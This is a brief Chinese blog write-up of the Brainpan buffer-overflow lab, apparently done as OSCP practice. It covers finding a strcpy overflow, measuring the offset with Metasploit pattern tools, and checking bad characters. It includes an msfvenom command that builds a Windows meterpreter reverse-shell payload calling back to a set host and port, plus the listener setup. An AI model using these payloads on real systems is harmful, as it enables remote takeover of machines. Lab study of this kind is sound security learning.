oscp——bof——brainpan

0x00 前言

学习brainpan,这个是看了前辈的教程才做出来的。
前辈地址:https://blog.csdn.net/zhalang8324/article/details/90477524

0x01 Wp

看了oscp的教程但是感觉始终不得其道,所以想要练习练习。

总结了一下流程,emmm基本就是以下流程

  • 确定偏移量
  • 确定JMP ESP
  • 确定badchar
  • shellcode加上

其实还是有很多疑问的
这里ida看到了这个
在这里插入图片描述
跟进,发现是一个strcpy的缓存区溢出
在这里插入图片描述
但是有一个问题就是,这里的偏移不知道是怎么计算的,还有待研究。我这里怎么算都是208,但是最后为520,测试结果是524,这里就不知道是为啥了,还得研究研究

难道是因为win在覆盖的时候需要覆盖掉ebp。所以结果是520+4

这里很大几率是我凑的,先这样理解。

使用kali自带的脚本进行判断

先od打开
在这里插入图片描述
生成550个字符

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 550

在这里插入图片描述
终端了之后发现EIP是35724134
在这里插入图片描述
使用如下去进行判断

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 35724134

得到了偏移524
在这里插入图片描述
还需要确认一下错误字符,这里可以看到改打印的都打印了。
在这里插入图片描述
这里生成shellcode

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.124.15 lport=4444 -b '\x00\' -f python

在这里插入图片描述
msf监听一下

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

在这里插入图片描述

相关推荐
©️2020 CSDN 皮肤主题: 程序猿惹谁了 设计师:白松林 返回首页